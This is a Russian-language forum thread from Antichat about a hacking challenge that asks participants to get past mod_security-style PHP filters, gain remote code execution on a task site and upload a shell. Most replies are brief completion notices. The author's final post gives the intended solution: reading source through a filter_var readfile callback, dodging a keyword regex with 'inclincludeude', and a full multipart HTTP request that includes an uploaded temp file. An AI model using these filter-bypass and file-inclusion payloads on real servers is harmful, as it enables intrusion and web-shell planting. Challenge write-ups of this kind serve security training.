1. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    123.jpg


    Задача: есть параметр уязвимый к RCE, но провести полноценную атаку мешают фильтры, которые сводят угрозу выполнения произвольного кода к минимуму.
    На сайте есть врайтабельная папка. Вам предлагается обойти фильтры, выполнить произвольный PHP код и залить "шелла" в эту самую врайтабельную папку.

    Таск основан на реальных фильтрах mod_security, с некоторыми авторскими модификациями ;)

    Решением будет считаться код, с помощью которого можно будет залить "шелла" во врайтабельную папку.
    Отдельно выполненные команды типа phpinfo() - не считаются.
    Брутить и сканить ничего не нужно.
    Сложность и креативность решения будет оцениваться отдельно. Данный таск можно пройти разными вариантами исполнения.


    Срок:
    две недели.

    Таргет:
    http://task12.antichat.com


    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.

    Прошли:
    crlf
    neur0funk
    Baskin-Robbins
    Shubka75
    Раrаdох
    Hulkus
    MichelleBoxing
    joelblack
    ckpunmkug
    Harakternik
    look2009

    fandor9


     
    #1 Тот_самый_Щуп, 2 Sep 2020
    Last edited: 14 Sep 2020
  2. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    Первый прошедший уже есть!
     
    Spinus likes this.
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Изи таск :)
     
    Spinus, Shubka75, Hulkus and 2 others like this.
  4. neur0funk

    neur0funk Member

    Joined:
    9 May 2018
    Messages:
    22
    Likes Received:
    18
    Reputations:
    12
    done
     
    Spinus, Hulkus, Shubka75 and 4 others like this.
  5. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    230
    Likes Received:
    599
    Reputations:
    145
    Как справедливо заметил Crlf, это изи-таск.
    Но у задания хороший потенциал:

    во-первых, RCE - всегда интересно, а обход фильтров - классика жанра
    во-вторых, автор таска моделирует реальный случай, но оставил больше вариантов решения, чем имел сам.
    в-третьих, решений много, в т.ч. есть и интересные.
    в-четвертых, даже самое простое решение требует твоего включения и "повтыкать", скушно не будет.

    Обращаюсь к паблику: Crlf`ами не рождаются, ими становятся. Вот Вам первая ступенька - CRLF[Level1].
    И хорошая возможность - шагнуть на эту ступеньку.

    А для Крлфов высокого уровня тоже есть варианты, возможно мы их увидим.
    Как показывает практика, все мы сначала ищем простые решения, но для спеца 80-го уровня они начинаются не с первого, а примерно с 75 - 76, поэтому ждем их тоже.
     
  6. Shubka75

    Shubka75 Elder - Старейшина

    Joined:
    24 Sep 2015
    Messages:
    94
    Likes Received:
    57
    Reputations:
    30
    Прошел таск :)
     
    Spinus, Hulkus, Раrаdох and 2 others like this.
  7. Раrаdох

    Раrаdох Elder - Старейшина

    Joined:
    30 Jan 2014
    Messages:
    95
    Likes Received:
    140
    Reputations:
    33
    Спасибо за задачу! Выбранное мной решение оказалось не сложным.
     
    Spinus, seostock, Hulkus and 2 others like this.
  8. Hulkus

    Hulkus Member

    Joined:
    28 Feb 2019
    Messages:
    29
    Likes Received:
    6
    Reputations:
    8
    Прошел)
     
  9. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Спасибо за таск:)
     
  10. ckpunmkug

    ckpunmkug Member

    Joined:
    20 Mar 2017
    Messages:
    66
    Likes Received:
    65
    Reputations:
    10
    Прошел. Отличный таск. Спасибо.
     
    #10 ckpunmkug, 4 Sep 2020
    Last edited: 4 Sep 2020
  11. MichelleBoxing

    MichelleBoxing Reservists Of Antichat

    Joined:
    12 Nov 2018
    Messages:
    19
    Likes Received:
    32
    Reputations:
    57
    Спасибо за таск
     
    Spinus, Раrаdох, crlf and 4 others like this.
  12. Harakternik

    Harakternik Member

    Joined:
    21 Jan 2010
    Messages:
    8
    Likes Received:
    6
    Reputations:
    8
    Прошел за 2.5 часа.
    Спасибо за task.
     
  13. look2009

    look2009 Member

    Joined:
    3 Jun 2009
    Messages:
    80
    Likes Received:
    63
    Reputations:
    5
    Готово. Спасибо.
     
  14. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    630
    Likes Received:
    1,050
    Reputations:
    47
    Шел залил. Спасибо за задачу!
     
  15. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    Если кому нужно дополнительное время, пишите в ЛС. Таск скоро закрывается
     
  16. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    Таск закрыт. Решения участников будут чуть позже.
     
  17. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    За идею для таска была взята основа конфигурации mod_security с одного ресурса.
    Конфигурацию перенесли в виде регулярок на PHP, но кое что было не учтено, что в свою очередь привело к большому количеству всевозможных решений ))

    Изначально решение таска планировалось таким.
    Заблокированы практически все функции, которые необходимы для заливки шелла, или полноценного выполнения кода, поэтому пришлось бы поискать, что не заблокировано.
    mod_security в нашем случае не блокировал callback функции filter_
    Одной из таких функций мы можем воспользоваться для чтения файлов, и прочитаем сами себя:
    filter_var("index.php", FILTER_CALLBACK,array("options"=>"readfile"));
    Получаем исходный код самого скрипта, смотрим его, и видим кривую регулярку:
    Code:
    $vuln_entry = preg_replace('/(assert|include|eval|require)/is','',$vuln_entry);
    Обращаем внимание, что функции assert,eval находятся в запрещенном списке $disable_function_names, но остальные две, include и require - нет.
    По сути использовать include или require мешает эта регулярка, но она легко обходится, например так: inclincludeude
    Теперь, когда мы можем использовать include, надо подумать, как через неё проэксплуатировать полноценный RCE код.
    Врапперы в PHP для include\require по умолчанию отключены, поэтому остается вариант загрузить файл на сервер, и его проинклудить.
    Это можно сделать через трюк с загрузкой файла, и пока он находится во временной папке /tmp/ то проинклудить его через scandir подобрав массив.
    Выглядит это следующим образом:
    Code:
    include('/tmp/'.scandir('/tmp/')[6]);
    Соответственно формируем специальный http заголовок, и посылаем это на сервер:
    Code:
    POST / HTTP/1.1
    Host: task12.antichat.com
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
    Content-Type: multipart/form-data; boundary=---------------------------cd34e5c25fdd9f588c11127a23284
    Content-Length: 403
     
    -----------------------------cd34e5c25fdd9f588c11127a23284
    Content-Disposition: form-data; name="x"; filename="1.jpg"
    Content-Type: image/jpeg
     
    <?php die('included_546556'); ?>
    -----------------------------cd34e5c25fdd9f588c11127a23284
    Content-Disposition: form-data; name="rce"
     
    $b=inclincludeude('/tmp/'.scandir('/tmp/')[6]);die();
    -----------------------------cd34e5c25fdd9f588c11127a23284--
    
    И уже имеем полноценный RCE который ничем не блокируется.

    Как я уже писал ранее, из за небольшого косяка с переносом правил mod_security на площадку таска, его можно зарешать и множеством других вариантов.

    Сами решения участников:

    Решения интересные, многие из которых могут помочь в реальных условиях фильтрации RCE разными WAF системами.
    В общем, все молодцы.
     
    #17 Тот_самый_Щуп, 19 Sep 2020
    Last edited: 20 Sep 2020